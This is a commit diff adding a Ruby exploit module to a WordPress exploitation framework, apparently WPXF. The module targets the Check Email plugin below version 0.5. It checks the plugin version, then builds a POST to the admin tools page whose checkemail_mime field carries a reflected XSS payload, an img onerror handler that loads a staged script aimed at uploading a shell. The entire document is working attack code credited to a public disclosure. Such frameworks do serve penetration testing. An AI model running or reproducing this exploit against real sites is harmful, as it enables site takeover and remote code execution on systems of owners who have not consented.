Add Check Email < 0.5 reflected XSS shell upload exploit

Author: rastating

modules/exploits/check_email_reflected_xss_shell_upload.rb

@@ -0,0 +1,42 @@
+class Wpxf::Exploit::CheckEmailReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Check Email < 0.5 Reflected XSS Shell Upload',
+      author: [
+        'Antonis Manaras',                # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8661'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_check_email_wordpress_plugin.html']
+      ],
+      date: 'Nov 12 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('check-email', '0.5')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'tools.php?page=checkemail')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'checkemail_to' => Utility::Text.rand_email,
+      'checkemail_headers' => 'custom',
+      'checkemail_mime' => "\\\"><img src=x onerror=#{xss_ascii_encoded_include_script} />",
+      'checkemail_type' => Utility::Text.rand_alphanumeric(5),
+      'checkemail_from' => Utility::Text.rand_email,
+      'checkemail_cc' => Utility::Text.rand_email,
+      'checkemail_break' => '\n',
+      'checkemail_go' => 'Send test email'
+    )
+  end
+end